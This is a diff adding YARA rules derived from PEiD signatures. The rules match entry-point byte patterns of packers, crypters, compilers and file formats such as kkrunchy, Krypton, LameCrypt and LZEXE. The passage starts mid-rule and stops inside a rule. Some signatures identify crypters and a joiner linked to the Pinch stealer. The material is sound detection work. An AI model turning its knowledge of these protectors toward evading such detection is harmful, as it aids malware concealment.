+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00940_JAM_v2_11_
+{
+    meta:
+        description = "[JAM v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00941_JAR_Archive_
+{
+    meta:
+        description = "[JAR Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1A 4A 61 72 1B}
+    condition:
+        $a
+}
+rule PEiD_00942_JDPack_2_x____JDPack_
+{
+    meta:
+        description = "[JDPack 2.x -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00943_JDPack_V2_00____JDPack_
+{
+    meta:
+        description = "[JDPack V2.00 -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00944_JDPack_
+{
+    meta:
+        description = "[JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00945_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00946_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00947_JExeCompressor_V1_0____UsAr_
+{
+    meta:
+        description = "[JExeCompressor V1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00948_Joiner__sign_from_pinch_25_03_2007_20_10__
+{
+    meta:
+        description = "[Joiner (sign from pinch 25.03.2007 20:10)]"
+        ep_only = "true"
+    strings:
+        $a = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00949_KBys_Packer_0_28_Beta____Shoooo_
+{
+    meta:
+        description = "[KBys Packer 0.28 Beta -> Shoooo]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+    condition:
+        $a
+}
+
+rule PEiD_00950_Kbys_Packer_0_28_Beta___shoooo314_
+{
+    meta:
+        description = "[Kbys Packer 0.28 Beta-> shoooo314]"
+        ep_only = "false"
+    strings:
+        $a = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00951_KByS_V0_28____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00952_KByS_V0_28_DLL____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 DLL -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00953_KGB_SFX_
+{
+    meta:
+        description = "[KGB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00954_KGCrypt_vx_x_
+{
+    meta:
+        description = "[KGCrypt vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00955_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00956_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00957_kkrunchy_0_23_alpha____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00958_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00959_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00960_kkrunchy_v0_17____F__Giesen_
+{
+    meta:
+        description = "[kkrunchy v0.17 -> F. Giesen]"
+        ep_only = "false"
+    strings:
+        $a = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00961_kkrunchy_V0_2X____Ryd___Sign_by_fly_
+{
+    meta:
+        description = "[kkrunchy V0.2X -> Ryd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00962_Krypton_v0_2_
+{
+    meta:
+        description = "[Krypton v0.2]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00963_Krypton_v0_3_
+{
+    meta:
+        description = "[Krypton v0.3]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00964_Krypton_v0_4_
+{
+    meta:
+        description = "[Krypton v0.4]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00965_Krypton_v0_5_
+{
+    meta:
+        description = "[Krypton v0.5]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00966_kryptor_5_
+{
+    meta:
+        description = "[kryptor 5]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00967_kryptor_6_
+{
+    meta:
+        description = "[kryptor 6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00968_kryptor_9_
+{
+    meta:
+        description = "[kryptor 9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00969_LamCrypt_1_0____LaZaRuS_
+{
+    meta:
+        description = "[LamCrypt 1.0 -> LaZaRuS]"
+        ep_only = "false"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00970_LameCrypt____LaZaRus_
+{
+    meta:
+        description = "[LameCrypt -> LaZaRus]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00971_LameCrypt_v1_0_
+{
+    meta:
+        description = "[LameCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00972_LamerStop_v1_0c__c__Stefan_Esser_
+{
+    meta:
+        description = "[LamerStop v1.0c (c) Stefan Esser]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00973_Lattice_C_v1_01_
+{
+    meta:
+        description = "[Lattice C v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00974_Lattice_C_v3_0_
+{
+    meta:
+        description = "[Lattice C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00975_LaunchAnywhere_4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere 4.0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00976_LaunchAnywhere_v4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere v4.0.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00977_Launcher_Generator_1_03_
+{
+    meta:
+        description = "[Launcher Generator 1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00978_Launcher_Generator_v1_03_
+{
+    meta:
+        description = "[Launcher Generator v1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00979_LCC_Win32_DLL_
+{
+    meta:
+        description = "[LCC Win32 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00980_LCC_Win32_v1_x_
+{
+    meta:
+        description = "[LCC Win32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00981_LCC_Win32_
+{
+    meta:
+        description = "[LCC-Win32]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00982_LGLZ_v1_04__com_
+{
+    meta:
+        description = "[LGLZ v1.04 [com]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00983_LGLZ_v1_04b_
+{
+    meta:
+        description = "[LGLZ v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00984_Libraries_by_John_Socha_
+{
+    meta:
+        description = "[Libraries by John Socha]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00985_LOCK98_V1_00_28____keenvim_
+{
+    meta:
+        description = "[LOCK98 V1.00.28 -> keenvim]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00986_Lockless_Intro_Pack_
+{
+    meta:
+        description = "[Lockless Intro Pack]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00987_Lotus_Word_Pro_document_file_
+{
+    meta:
+        description = "[Lotus Word Pro document file]"
+        ep_only = "false"
+    strings:
+        $a = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+    condition:
+        $a
+}
+
+rule PEiD_00988_LSI_C_86_Run_Time_Libray_
+{
+    meta:
+        description = "[LSI C-86 Run-Time Libray]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00989_LTC_v1_3_
+{
+    meta:
+        description = "[LTC v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00990_LY_WGKX____www_szleyu_com_
+{
+    meta:
+        description = "[LY_WGKX -> www.szleyu.com]"
+        ep_only = "false"
+    strings:
+        $a = {4D 79 46 75 6E 00 62 73}
+    condition:
+        $a
+}
+
+rule PEiD_00991_LZEXE_v0_91__v1_00a__1__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (1)]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00992_LZEXE_v0_91__v1_00a__2__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00993_Macromedia_Windows_Flash_Projector_Player_5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00994_Macromedia_Windows_Flash_Projector_Player_v3_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00995_Macromedia_Windows_Flash_Projector_Player_v4_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00996_Macromedia_Windows_Flash_Projector_Player_v5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00997_Macromedia_Windows_Flash_Projector_Player_v6_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v6.0]"
+        ep_only = "true"
+    strings:
